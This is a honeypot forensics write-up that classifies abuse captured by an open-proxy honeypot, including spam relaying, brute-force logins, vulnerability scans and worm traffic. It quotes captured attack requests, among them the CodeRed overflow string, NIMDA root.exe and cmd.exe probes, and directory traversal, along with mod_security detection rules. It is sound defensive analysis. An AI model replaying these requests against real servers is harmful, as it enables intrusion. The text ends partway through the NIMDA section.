Scan 31

Write-Up By: Ryan C. Barnett

This month's challenge is to analyze web server log files looking for signs of abuse. The Honeypots: Monitoring and Forensics Project deployed an Apache web server that was configured as an Open Proxy. Your job is to analyze the log files and identify/classify the different attacks (trust me, there are a surprising number of them :). All entries are due Friday, 30 April. Results will be released Friday, 7 May. Find the rules and suggestions for submissions at the SotM Home Page.

Skill Level: Intermediate

The Challenge:
Open Proxy servers are a big problem on the Internet. Not only can an improperly secured proxy server expose your internal network to attack (yes, you heard me right, attackers can leverage unsecured proxy servers to identify/connect to internal systems Lamo's Adventures in WorldCom), but also these systems are used to obscure the true origin of web-based attacks. In order to gather data on these types of attack channels, the Honeypots: Monitoring and Forensics Project deployed a specially configured Apache web server, designed specifically for use as a honeypot open proxy server or ProxyPot. Please review the honeynet whitepaper entitled Open Proxy Honeypot for in depth details of the configurations. This paper will provide important background information to aid in your analysis of the SoTM data. As a reference we provide the following key to data:

a. Honeynet Web Server Proxy IP sanitized to: 192.168.1.103
b. Honeynet Web Server Proxy Hostname sanitized to: www.testproxy.net

Download the Image (25 MB)
c36d39dfd5665a58d7cea06438ceb96d apache_logs.tar..gz

Initial Steps

1. Download the apache_logs.tar.gz file onto my Redhat Linux host

2. Checked the MD5 has of the file to verify successful file integrity

# md5sum apache_logs.tar.gz

c36d39dfd5665a58d7cea06438ceb96d apache_logs.tar..gz

3. Gunzip and untar the archive

# gunzip apache_logs.tar.gz ; tar –xvf apache_logs.tar

logs/access_log

logs/audit_log

logs/error_log

logs/modsec_debug_log

logs/ssl-access_log

logs/ssl-error_log

logs/ssl_engine_log

logs/ssl_mutex.19660

logs/ssl_mutex.953

logs/ssl_request_log

logs/upload/

logs/upload/20040311-184310-68.0.178.69-GoodMrorning.htm

logs/upload/20040313-121627-24.165.131.110-Goo5dMorning.htm

logs/upload/20040313-132411-67.81.34.7-GoodMorkning.htm

logs/upload/20040313-145020-66.17.107.246-GoodMo0rning.htm

logs/upload/20040313-162733-68.198.16.66-GoocdMorning.htm

logs/upload/20040313-170722-24.136.227.15-GoodMoorning.htm

logs/upload/20040313-174514-68.41.205.235-GoodMornding.htm

4. CD into the logs directory and get a directory listing so that I would have an idea of the log file sizes I would be dealing with

# cd logs ; ls –l

total 294764

-rw-r--r-- 1 root root 43017422 Mar 15 12:15 access_log

-rw-r--r-- 1 root root 175754692 Mar 15 15:57 audit_log

-rw-r--r-- 1 root root 80243127 Mar 15 16:01 error_log

-rw-r--r-- 1 root root 231293 Mar 13 11:05 ssl-access_log

-rw-r--r-- 1 root root 1234677 Mar 14 11:08 ssl_engine_log

-rw-r--r-- 1 root root 789751 Mar 13 11:05 ssl-error_log

-rw------- 1 nobody root 0 Mar 11 19:46 ssl_mutex.19660

-rw------- 1 nobody root 0 Mar 13 23:18 ssl_mutex.953

-rw-r--r-- 1 root root 222041 Mar 13 11:05 ssl_request_log

drwxr-xr-x 2 root root 4096 Mar 16 16:14 upload

Questions

1. How do you think the attackers found the honeyproxy?

Answer: Most likely, the “real” people who were using the honeyproxy (as a proxy) and not a direct attack by worms and such, found the honeyproxy by using a list from an Open Proxy List Website.

Details: Keep in mind that, as with any honeypot/net deployment, there is some trial and error involved (but hey, that is why we are doing this – to learn). When I first deployed the honeyproxy with the configuration outlined in the Open Proxy Honeypot paper above, I monitored it for a few days. There wasn’t too much traffic except that of our familiar old friends CodeRed, NIMDA, etc… With a small set in data to analyze, I was able to update the configurations with some advancements. One of the configuration changes was to implement an additional HTTP response header to warn the users of monitoring (Warning: Subject To Monitoring). In order to verify these headers and check the proxy anonymity, I decided to use some of the proxy checking applications on some web sites - http://www.google.com/search?hl=en&ie=UTF-8&oe=UTF-8&q=proxy+check. What is interesting is that while almost all of these sites offer tools so a security conscience client can check their own proxy to verify that it is secured correctly, they will always add an open proxy that is finds to a public list. Here is a perfect example:

· Proxy Checking Tool – http://www.checker.freeproxy.ru/checker/

· Open Proxy List at the same website - http://www.checker.freeproxy.ru/checker/last_checked_proxies.php

It didn’t take long for the honeyproxy’s IP to propagate to other proxy lists and all of a sudden the traffic spiked significantly. It was at this point that I knew I was ready to officially deploy the honeyproxy for the SoTM Challenge. The official start time was Tue Mar 9 22:02:41 2004 (according to the first line in the error_log). If you compare this to the first log entry in the access_log file (09/Mar/2004:22:03:09 –0500) you will see that the first client request came only 28 seconds after the honeyproxy started up. Without the background information outlined above, it would seem odd to receive actual proxy requests this fast.

2. What different types of attacks can you identify? For each category, provide just one log example and detail as much info about the attack as possible (such as CERT/CVE/Anti-Virus id numbers). How many can you find?

Answer: One of the main benefits of honeypots/nets is that your logging should only capture malicious activity, reducing the amount of data to analyze. While this is the case, comparatively speaking to normal production NIDS deployments, this does not necessarily mean that the data sets will be “small”. The honeyproxy gathered ~ 295 MB of data in the log files. This is not a small amount of data if you are manually reviewing the logs. Anytime you have a large data set, you must develop an method to parse/analyze the logs looking for signs of attack/abuse/malicious intent. So, before we can answer “What” attacks are present in the various Open Proxy Honeypot logs, we need to figure out “How” we are going to identify these attacks. Even though, technically, all of the log data captured by the proxypot is suspect by nature, our methods should still be applicable to normal web server log file analysis. Below are the different ways in which I identified and quantified the various attacks:

Search Logs For Mod_Security-Message: When Mod_Security identifies a problem with a request due to a security violation, it will do two things – 1) Add in some additional client request headers stating why mod_security is taking action, and 2) Log this data to the audit_log and error_log files. These error messages can be triggered by Mod_Security special checks such as the SecFilterCheckURLEncoding directive, basic filters such as “\.\.” to prevent directory traversals and advanced filters based on converted snort rules.

Search Logic: Show me all of the audit_log entries that have the mod_security-message header, then sort the results, then only show me unique entries with a total count of each type in reverse order from highest to lowest, then remove the mod_security-message data at the beginning of each line and list the results with the less command.

Search Command: The command string below will accomplish the search logic from above.

51746 Pattern match "Basic" at HEADER.

6138 Pattern match "passwd\=" at THE_REQUEST.

5852 Pattern match "/search" at THE_REQUEST.

5368 Pattern match "passwd=" at THE_REQUEST.

4826 Pattern match "\.asp" at THE_REQUEST.

3694 Pattern match "login.icq.com" at THE_REQUEST.

1971 mod_security-message: Invalid character detected

1935 Pattern match "/smartsearch\.cgi" at THE_REQUEST.

1887 Pattern match "cmd\.exe" at THE_REQUEST.

1387 Pattern match "/sh" at THE_REQUEST.

816 Pattern match "\.\." at THE_REQUEST.

343 Pattern match "password\=" at POST_PAYLOAD.

301 Pattern match "/root\.exe" at THE_REQUEST.

296 Pattern match "81.171.1.165" at REMOTE_ADDR.

276 Pattern match "/ikonboard\.cgi" at THE_REQUEST.

242 Pattern match "200" at THE_REQUEST.

224 Pattern match "/index\.html" at THE_REQUEST.

192 Pattern match "<[[:space:]]*script" at THE_REQUEST.

186 Pattern match "/etc/passwd" at THE_REQUEST.

169 Pattern match "/index\.php" at THE_REQUEST.

137 Pattern match "/login" at THE_REQUEST.

135 Pattern match "/exec/" at THE_REQUEST.

124 Pattern match "/perl/" at THE_REQUEST.

81 Pattern match "\?&" at THE_REQUEST.

69 Pattern match "passwd\=" at POST_PAYLOAD.

68 Pattern match "/c/" at THE_REQUEST.

63 Pattern match "TRACE" at THE_REQUEST.

63 Pattern match "passwd=" at POST_PAYLOAD.

63 Pattern match "/banners/" at THE_REQUEST.

--CUT--

By looking at the bolded entries listed above, it appears that there are a large number Brute Force Attempts (Basic Authentication Headers and Password Credentials submitted in the URL field and POST_PAYLOAD).

Utilization of the AllowCONNECT Proxying Capabilities: Our set-up of the proxypot allowed proxying to a wide variety of ports/protocols that are targeted by attackers. These include ports 25 (SMTP) and 6667/6666 (IRC). Since these connection attempts will not trigger Mod_Security, we can not use the same search technique above to gather statistics. We will need to filter our search on HTTP requests that use these specific port numbers.

Search Logic: Search the access_log file for all CONNECT requests, filter the output to only display the URL portion, only show unique entries and then sort in reverse order from highest to lowest and display with less.

Search Command: The command string below accomplishes the search logic from above.

# egrep "CONNECT .*:.* HTTP" access_log | awk '{print $6, $7, $8}' | sort | uniq -c | sort -rn |less

10928 "CONNECT login.icq.com:443 HTTP/1.0"

474 "CONNECT 200.221.11.50:25 HTTP/1.0"

422 "CONNECT mx.freenet.de:25 HTTP/1.0"

340 "CONNECT mx.pchome.com.tw:25 HTTP/1.0"

303 "CONNECT 207.153.203.64:25 HTTP/1.0"

246 "CONNECT 200.154.55.2:25 HTTP/1.0"

237 "CONNECT mx0.gmx.net:25 HTTP/1.0"

199 "CONNECT irc.data.lt:6667 HTTP/1.0"

176 "CONNECT 200.210.55.201:25 HTTP/1.0"

155 "CONNECT 203.176.60.240:25 HTTP/1.0"

134 "CONNECT lobosuelto.arnet.com.ar:25 /

127 "CONNECT 200.142.77.19:25 HTTP/1.0"

120 "CONNECT 195.54.159.109:6667 HTTP/1.0"

119 "CONNECT smtp.taiwan.com:25 HTTP/1.0"

118 "CONNECT www.bzwbk.pl:443 HTTP/1.1"

118 "CONNECT wacek.one.pl:2019 HTTP/1.1"

114 "CONNECT wumt.westernunion.com:443 HTTP/1.0"

112 "CONNECT www.ip-relay.com:443 HTTP/1.1"

106 "CONNECT irc.quakenet.org:6667 HTTP/1.0"

99 "CONNECT 200.201.133.83:25 HTTP/1.0"

97 "CONNECT 192.168.1.103:80 HTTP/1.1"

96 "CONNECT 148.235.52.50:25 HTTP/1.0"

92 "CONNECT mx.apol.com.tw:25 HTTP/1.0"

87 "CONNECT mx.seed.net.tw:25 HTTP/1.0"

82 "CONNECT www.helllabs.com.ua:80 HTTP/1.0"

81 "CONNECT mx1.giga.net.tw:25 HTTP/1.0"

71 "CONNECT maila.microsoft.com:25 HTTP/1.0"

67 "CONNECT 208.218.130.51:25 HTTP/1.0"

66 "CONNECT mx1.yam.com:25 HTTP/1.0"

--CUT--

The bolded entries listed above show clients using the CONNECT method to have our proxypot connect to other systems on port 25 (SMTP). This is a sure sign of SPAMMERS.

Search Logs For Abnormal HTTP Status Codes: The Mod_Security default action settings were to generate a “200” status code for identified attacks. This action was to “trick” malicious proxypot users into thinking that their attack were successful. This means that this means that we cannot solely rely on status codes of “200 OK” to indicate that everything is normal. With this in mind, we can still analyze any status codes that were not “200 OK” and assess the results.

Search Logic: Search the audit_log file for all of the HTTP Response Codes returned by our proxypot, then remove all HTTP version info, next only show unique entries in reverse order.

Search Command: The command strings below accomplishes the search logic from above.

# egrep "^HTTP/" audit_log | sed "s/HTTP\/[01].[019] //g" | sort | uniq

508 unused

503 Service Unavailable

503 Service Temporarily Unavailable

503 Server Error

502 Proxy Error

502 Gateway Error

502 Bad Gateway

501 OK

501 Not Implemented

501 Method Not Implemented

500 Server Error

500 Proxy Error

500 Internal Server Error

416 Requested Range Not Satisfiable

414 Request-URI Too Large

411 Length Required

410 Gone

408 Request Timeout

406 Not Acceptable

405 Method Not Allowed

404 Object Not Found

404 Not Found

404 Not found

404 File Not Found

404 Condition Intercepted

404

403 Forbidden

403 Access Forbidden

401 Unauthorized

401 Unauthorised

401 Authorization Required

401 Access Denied

400 Bad Request

304 Not Modified

303 See Other

302 Temporary Relocation

302 Temporarily Moved

302 Redirecting

302 Redirected Request

302 Redirected

302 Redirect

302 R

302 OK

302 ok

302 Object Moved

302 Object moved

302 Moved Temporarily

302 MOVED

302 Moved

302 Found

302 Document Moved

302

301 Moved Perminantly

301 Moved Permanently

301 Moved

301 Error

206 Partial Content

206 Partial content

204 No Content

200 Proxy test OK

200 Okay

200 OK 2001

200 OK

200 Ok

200 ok

200 Document follows

200 Content-type: text/html

200 Apple

200

(null)

HTTP/3.14 200 OK

Generally speaking, any HTTP Status Code in the 4XX-5XX ranges should be investigated (bolded above). Additionally, there are a few status codes that are abnormal – (null) which is caused by CONNECT Method requests and others which hare mis-spelled – “Moved Perminantly”.

HTTP Request Methods: Many web-based attacks will use standard request methods such as GET, HEAD and POST. There are many attacks, however, that use other request methods such as TRACE, SEARCH and DELETE. By analyzing these request methods, it may be possible to identify different attacks.

Search Logic: Search the access_log file for all entries, then only display the HTTP Request Method portions, next only show unique entries and then sort in reverse order from highest to lowest.

Search Command: The command strings below accomplishes the search logic from above.

# cat access_log | awk '{print $6}' | sort | uniq -c | sort -rn |less

120036 "GET

37543 "HEAD

27529 "CONNECT

16550 "POST

257 "\x04\x01"

170 "\x05\x01"

68 "OPTIONS

20 "\x05\x02"

15 "SEARCH

13 "

12 "PUT

7 ""

6 "TRACE

6 "GET"

5 "PROPFIND

4 "get

3 "\x04\x01#(\xd5$d\xc6"

3 "\x04\x01\x1a\vR\x92,j\rquit

3 "some

3 "Secure

3 "QUIT"

3 "NESSUS

3 "GET\t/\tHTTP/1.0"

3 "GET/HTTP/1.0"

3 "DELETE

3 "COPY

2 "\x04\x01\x1a\v\xd5\x83\x83\x9b\rquit

2 "a"

1 "\x04\x01\x1a\v\xc2m\x81\xdc"

1 "\x04\x01\x1a"

1 "\x04\x01\x13\xba\xd8\x9b\xc1\x80"

1 "\x04\x01\x04\x1f\xd5\xceH\x95"

1 "\x04\x01+g\xc2m\x99\x02"

1 "67.28.114.33:25"

These HTTP Request Methods indicate that a few things: 1) That of the normal methods (GET, HEAD and POST) there were a large number of HEAD requests indicating Brute Force attempts, and 2) There are a large number of non-valid request methods. Each of these abnormal request methods should be investigated.

Non-HTTP Compliant Requests: HTTP Requests that are compliant with the protocol should have the following composition – <Request Method> <Universal Resource Identifier> <Protocol Version> <Linefeed/Return>. Example: Get /index.html HTTP/1.0. When attackers are probing and exploiting vulnerable servers/applications, they often send requests that deviate from the proper HTTP Request format to accomplish the exploit or nudge the app into revealing desired information such as error text, etc…

Search Logic: Search the audit_log file for all “Error:” entries, then do not display entries that are not HTTP RFC applicable, next sort and only show unique entries with less.

Search Command: The command strings below accomplishes the search logic from above.

Error: client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /

Error: client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /top.html

Error: client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /uoi{%&a

mp;<qqfn`1yn}bqlw|^?wim+nmr&hskyuwk&wo|}.nvux)^MXhRqVlTuXIDT][FX_Z-}]MFX_IDT]MF

WO{bqN|y7Kab;Mnz^?CmSfE}eNP^?2p^?&BjSUDTEyy^?HIDT]P^1G.+Nn|ACjIDT]M0uecVPsM~^?\oDTE%20

eB{JRPs$yC_.Sr*~DAS(cfMkzv$^?zPozCBjcF;*fQ6^gEOE%eCGhSfclzG(eFOQ$e^?KgdPJ-_Or)R~tay^?KcE]*

k[BH!]KR%TOLoa\w~CO!)UfE}CDL!RB^kDAGn\AJ%20Tu]*^KV&Tf\bb~

Error: Client sent malformed Host header

Error: Invalid method in request 67.28.114.33:25

Error: Invalid method in request a

Error: Invalid method in request get / http/1.0

Error: Invalid method in request GET/HTTP/1.0

Error: Invalid method in request NESSUS / HTTP/1.0

Error: Invalid method in request QUIT

Error: Invalid method in request SEARCH /G3uWK53a HTTP/1.1

Error: Invalid method in request SEARCH / HTTP/1.1

Error: Invalid method in request SEARCH /zjY520hy HTTP/1.1

Error: Invalid method in request SEARCH /zrg6Ndgf HTTP/1.1

Error: Invalid URI in request ^D^A^Z^KÂm<81>Ü

Error: Invalid URI in request CONNECT HTTP/1.0

Error: Invalid URI in request GET %20.box//../../../../../lotus/domino/notes.ini HTTP/1.1

Error: Invalid URI in request GET %20.box/../../../../../lotus/domino/notes.ini HTTP/1.1

--CUT—

Error: Reason: You're speaking plain HTTP to an SSL-enabled server port.<BR>

Error: request failed: error reading the headers

Error: request failed: URI too long

Error: Request header field is missing colon separator.<P>

Error: The request line contained invalid characters following the protocol string.<P>

The bolded entries above have identified problems when clients do not adhere to the RFC standard. All of these entries should be reviewed to determine what caused these error messages.

Armed with these different analysis categories, I analyzed the log files with standard *nix text utilities such as grep, awk and sed searching for specific signs of abuse.

2.1 Attack Category- SPAMMERS: The large majority of users of the proxypot were SPAMMERS trying to send their email through our server to hide their true location and make it hard to track down the emails origin.

Number of Log Entries: 23562

Search Logic: Search the audit_log file for all requests for well-known CGI email programs and CONNECT requests to a host on port 25.

Example Entry: In the audit_log entry below, the client is attempting to send email through our proxy onto the www.centrum.is host and send an email through the FormMail.pl CGI script. Luckily, Mod_Security intercepted this request due to URL Encoding problems in the body of the email, and thus it was never forwarded on to the destination host.

========================================

Request: 67.83.151.132 - - [Wed Mar 10 02:59:14 2004] "POST http://www.centrum.is/cgi-bin/

FormMail.pl HTTP/1.1" 200 578

Handler: proxy-server

Error: mod_security: Invalid character detected [13]

----------------------------------------

POST http://www.centrum.is/cgi-bin/FormMail.pl HTTP/1.1

Accept: */*

Connection: Close

Content-Length: 412

Content-Type: application/x-www-form-urlencoded

Host: www.centrum.is

Proxy-Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; AIRF; .NET CLR 1.0.3705)

mod_security-action: 200

email=franceq5@tipnet.com&realname=franceq5@tipnet.com&recipient=<addhominem@aol.com>www.c

entrum.is%2C&subject=11%3A58%3A07%20PM%20Please%20read!%20%20%3D)+++++++++++++2a&1m=%0D%0A

%0D%0A%0A%0A%0A%0A%0A%0D%0Anob%0D%0A%0D%0Aaddhominem%20Visit%20http%3A%2F%2Fconnect.to%2Ff

riendscams%20and%20view%20these%20girls%20for%20FREE!%0D%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0D%

0A11%3A58%3A07%20PM%0D%0A3%2F9%2F2004%0A%0A%0A%0A0pf

HTTP/1.1 200 OK

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

========================================

When email is sent through a web server CGI script like this, the SMTP MIME headers will not include any data prior to leaving this host. This means that normal SMTP trace-back techniques will not lead to the 67.83.151.132 host unless web logs are correlated.

CVE Info: http://www.securityfocus.com/bid/3955/info/ or http://icat.nist.gov/icat.cfm?cvename=CAN-2001-0357

2.2 Attack Category- Brute Force Authentication Attacks: There were a very large number of attacks against password protected content. There were three different type of authentication being targeted by attackers, GET (with Username/Password in the URL field), POST (with user credentials in the post payload) and HEAD (with Basic Authentication Header added). We will discuss Brute Force Attacks later in question 5.

2.3 Attack Category- Vulnerability Scans: There were two different vulnerability scans identified in the log files. One was conducted using the Nessus (http://www.nessus.org) tool and another using Void (http://www.packetstormsecurity.org/UNIX/cgi-scanners/exp.dat).

Nessus Scan Number of Log Entries: 10296

Search Logic: Search the access_log file for all entries with the word Nessus in them and show with the less command.

Search Command: grep Nessus access_log | less

Example Entry: The example entries below show that a Nessus vulnerability scan was conducted against our proxypot on March 12^th at 10:30 pm. You can easily identify this as a Nessus scan due to the User-Agent field data.

217.160.165.173 - - [12/Mar/2004:22:30:20 -0500] "GET / HTTP/1.1" 200 4320 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:20 -0500] "GET /cfanywhere/index.html HTTP/1.1" 404 301 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:20 -0500] "GET /docs/servlets/index.html HTTP/1.1" 404 304 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:20 -0500] "GET /jsp/index.html HTTP/1.1" 404 294 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:21 -0500] "GET /webl/index.html HTTP/1.1" 404 295 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

217.160.165.173 - - [12/Mar/2004:22:30:21 -0500] "GET /./WEB-INF/ HTTP/1.1" 404 288 "-" "Mozilla/4.75 [en] (X11, U; Nessus)"

--CUT--

Some interesting info on this scan:

· The client IP address of the scan is from a website called – http://port-scan.de. Interestingly, this site will allow you to run port scans, vulnerability scans, etc… against a site and it will email you the results. Supposedly, you can only run it against your own IP address, however the client IP address can be easily spoofed in the data sent to the http://www.port-scan.de/cgi-bin/portscan.cgi script.

· Even though we were leveraging the Snort web-attack files, Nessus has such as large number of attacks that it checks for that we would have missed a bunch of these requests since we did not have a signature in the snortmodsec-rules.txt file. You can see which requests we missed when the proxypot issues a “404” status code. If we had a corresponding signature, the proxypot would have issued a “200”.

· I decided to take the same approach that we have done with converting the Snort rules into mod_security rules with the nessus web entries. I extracted all of the entries for the Nessus vulnerability scan, used awk and sed to get the URL Request info and format it appropriately and then used the snort2modsec.pl script to create new nessus/mod_security filters. Below are some example of the converted rules:

SecFilterSelective THE_REQUEST "/changepw\.exe"

SecFilterSelective THE_REQUEST "/chassis/config/GeneralChassisConfig\.html"

SecFilterSelective THE_REQUEST "/chat/data/usr"

SecFilterSelective THE_REQUEST "/chat_dir/register\.php\?register=yes&username=nessus10723

34298&email=<script>x=10;</script>&email1=<script>x=10;</script>"

SecFilterSelective THE_REQUEST "/chat_dir/register\.php\?register=yes&username=nessus13302

55257&email=<script>x=10;</script>&email1=<script>x=10;</script>"

SecFilterSelective THE_REQUEST "/chat_dir/register\.php\?register=yes&username=nessus18851

153&email=<script>x=10;</script>&email1=<script>x=10;</script>"

SecFilterSelective THE_REQUEST "/chat_dir/register\.php\?register=yes&username=nessus45687

6491&email=<script>x=10;</script>&email1=<script>x=10;</script>"

SecFilterSelective THE_REQUEST "/chat_dir/register\.php\?register=yes&username=nessus71361

4187&email=<script>x=10;</script>&email1=<script>x=10;</script>"

SecFilterSelective THE_REQUEST "/chat_dir/register\.php\?register=yes&username=nessus81870

5952&email=<script>x=10;</script>&email1=<script>x=10;</script>"

SecFilterSelective THE_REQUEST "/chat/msg\.txt"

SecFilterSelective THE_REQUEST "/chat/!pwds\.txt"

--CUT--

The full nessusmodsec-rules.txt file that I created can be downloaded here – http://honeypots.sourceforge.net/nessusmodsec-rules.txt.

Void Scan Number of Log Entries: 407

Search Logic: Search the access_log file for all entries with the word “by void” in them (ignoring case) and show with the less command.

Search Command: grep -i "By Void" access_log | less

Example Entry: The example entries below show that a Void vulnerability scan was conducted on March 13^th at 2:34 pm. You can easily identify this as a Void scan due to the data appended to the URL request. This scan was different than the Nessus scan because it was not conducted against our proxypot, but rather through our proxy to other web sites. This was a distributed scan against a number of port web sites. Example data is below.

24.127.175.68 - - [13/Mar/2004:14:34:38 -0500] "GET http://38ee.com/members/index.html/cgi-bin/textcounter.pl;Command execution as httpd;by Void; HTTP/1.0" 400 373 "-" "-"

24.127.175.68 - - [13/Mar/2004:14:34:50 -0500] "GET http://4realswingers.com/members//cgi-bin/websendmail;'passwd' retrieve;by Void; HTTP/1.0" 400 373 "-" "-"

24.127.175.68 - - [13/Mar/2004:14:35:03 -0500] "GET http://SwingForDollars.com/members/cgi-bin/nph-publish;File modification;by Void; HTTP/1.0" 400 373 "-" "-"

24.127.175.68 - - [13/Mar/2004:14:35:32 -0500] "GET http://5starasians.com/members/pages/i

ndex.html/cgi-win/uploader.exe;Website 1.x classic;by Void; HTTP/1.0" 400 373 "-" "-"

24.127.175.68 - - [13/Mar/2004:14:36:06 -0500] "GET http://amandaryder.com/members//iisadm

pwd/anot.htr;IIS web password change;by Void; HTTP/1.0" 400 373 "-" "-"

24.127.175.68 - - [13/Mar/2004:14:36:37 -0500] "GET http://amazinglatinas.com/members/iisa

dmpwd/achg.htr;IIS web password change;by Void; HTTP/1.0" 400 373 "-" "-"

24.127.175.68 - - [13/Mar/2004:14:36:51 -0500] "GET http://ambersmith.net/members/p1-ff-fi

rstnudes.html/cgi-bin/upload.pl;Sambar server upload explo;by Void; HTTP/1.0" 400 373 "-"

"-"

--CUT--

You can download the Void scan request file from Packetstorm - http://www.packetstormsecurity.org/UNIX/cgi-scanners/exp.dat.

Some interesting info on this scan:

· The client IP address of the scan resolves to c-24-127-175-68.we.client2.attbi.com, which seems to be a home user on the Comcast Cable network in California.

· After searching the access_log and audit_log for this IP address, it appears that this server is a proxy server as well. How did I determine this? Well, we will talk about identifying proxy uses in a later section, however that will deal with inspecting additional HTTP Request Headers. I identified this architecture by the unusually high number of different User-Agents from this IP address. I searched the audit_log for requests from this IP and then extracted the User-Agents. Below is a list of some of the User-Agents Identified:

1328 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

120 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.0 [en]

118 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

115 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)

82 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6

44 User-Agent: Mozilla/3.0 (compatible)

26 User-Agent: Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)

20 User-Agent: Mozilla/5.0 ( compatible; [en]; Windows NT4.0; athome0107 )

19 User-Agent: Mozilla/4.73 ( compatible; [de]; Windows XP; Compaq )

19 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)

17 User-Agent: Mozilla/4.7 ( compatible; [en]; Windows 95; DigiExt )

15 User-Agent: Mozilla/4.0 (compatible; MSIE 5.02; Windows 98)

12 User-Agent: Mozilla/4.0 (compatible; ICS)

6 User-Agent: Mozilla/4.73 [en] (Win98; U)

6 User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)

5 User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

4 User-Agent: Mozilla/4.75 [en] (Win98; I)

4 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)

4 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; T312461)

4 User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)

4 User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98)

4 User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)

4 User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)

3 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.21 [ja]

3 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)

3 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)

3 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)

3 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)

3 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 95)

3 User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)

3 User-Agent: Mozilla/4.0

--CUT--

If this were a single user, there would not be this much variation in the User-Agent fields.

2.4 Attack Category- Web-Based Worms: There were three different type of web worms identified in the log files.

· CodeRed - The "Code Red" worm is malicious self-propagating code that exploits Microsoft Internet Information Server (IIS)-enabled systems susceptible to the vulnerability described in CA-2001-13 Buffer Overflow In IIS Indexing Service DLL. Its activity on a compromised machine is time senstive; different activity occurs based on the date (day of the month) of the system clock. http://www.cert.org/advisories/CA-2001-23.html.

Number of CodeRed Log Entries: 47 from the following hosts:

# grep default.ida access_log | awk '{print $1}' | sort | uniq

68.33.135.114

68.35.27.102

68.39.75.108

68.47.154.190

68.47.248.156

68.48.110.231

68.48.205.207

68.48.221.167

68.48.224.107

68.48.42.69

Search Logic: Search the access_log file for all entries with the word “default.ida” in them and show with the less command.

Search Command: grep default.ida access_log | less

Example Entry: The example entries below show some CodeRed requests.

# grep default.ida access_log |less

68.48.205.207 - - [10/Mar/2004:19:14:37 -0500] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u780

1%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 566 "-"

"-"

68.48.205.207 - - [10/Mar/2004:20:03:46 -0500] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u780

1%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 200 566 "-"

"-"

--CUT--

· NIMDA – this worm spread through a number of vectors with the following two being relevant for our proxypot

a. Spread from client to web server via active scanning for and exploitation of various Microsoft IIS 4.0 / 5.0 directory traversal vulnerabilities (VU#111677 and CA-2001-12)

b. Spread from client to web server via scanning for the back doors left behind by the "Code Red II" (IN-2001-09), and "sadmind/IIS" (CA-2001-11) worms

Number of NIMDA Log Entries: 3536 from the following hosts:

# egrep 'cmd.exe|root.exe' access_log | grep –v Mozilla | awk '{print $1}' | sort | uniq

24.127.175.68

68.119.119.16

68.154.57.2

68.44.81.88

68.48.142.117

68.48.36.59

68.48.7.157

68.50.47.131

68.50.47.224

81.171.1.165

Search Logic: Search the access_log file for all entries with the word “cmd.exe or root.exe” in them except if the word Mozilla is in the entry (indicating non-worm requests such as from the Nessus scan) and show with the less command.

Search Command: egrep 'cmd.exe|root.exe' access_log | grep –v Mozilla | less

Example Entry: The example entries below show some NIMDA requests.

# egrep 'cmd.exe|root.exe' access_log | grep –v Mozilla | less

68.48.142.117 - - [09/Mar/2004:22:19:35 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 200

566 "-" "-"

